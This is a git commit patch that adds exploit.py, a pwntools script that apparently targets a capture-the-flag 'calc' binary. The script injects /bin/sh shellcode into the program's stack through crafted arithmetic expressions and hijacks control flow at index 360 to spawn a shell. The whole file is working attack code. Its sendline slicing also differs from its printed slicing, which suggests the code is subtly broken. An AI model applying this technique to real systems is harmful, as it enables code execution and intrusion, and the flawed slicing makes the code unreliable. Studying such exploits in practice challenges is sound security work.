From 024d148d6ba06eb25980ba6a1abeb7628c28dd54 Mon Sep 17 00:00:00 2001
From: Brett Weiland <brett_weiland@bpcspace.com>
Date: Fri, 20 Nov 2020 21:16:43 -0600
Subject: 	deleted:    bruh.py 	modified:   calc.i64 	new file:  
 core 	new file:   exploit.py 	new file:   sout 	modified:   stest

---
 exploit.py | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)
 create mode 100755 exploit.py

(limited to 'exploit.py')

diff --git a/exploit.py b/exploit.py
new file mode 100755
index 0000000..b765e85
--- /dev/null
+++ b/exploit.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python3
+from pwn import *
+
+
+context.binary = './calc'
+
+shellcode = asm(shellcraft.sh())
+
+pid = process("./calc")
+
+print(shellcode.hex())
+print(context)
+
+shellen = len(shellcode)
+
+for exec_num,offset in enumerate(reversed(range(361, int(len(shellcode) / 4) + 361))): 
+    pid.sendline("+{}+{}".format(offset, int.from_bytes(shellcode[((exec_num + 1) * 1):(exec_num * 4)], 'big')))
+    print("+{}+{}".format(offset, int.from_bytes(shellcode[shellen - ((exec_num + 1) * 4):shellen - (exec_num * 4)], 'big')))
+    
+
+pid.sendline("+360+135151459")
+print("+360+135151459")
+#pid.interactive()
+
+print(pid.recv())
+
-- 
cgit v1.2.3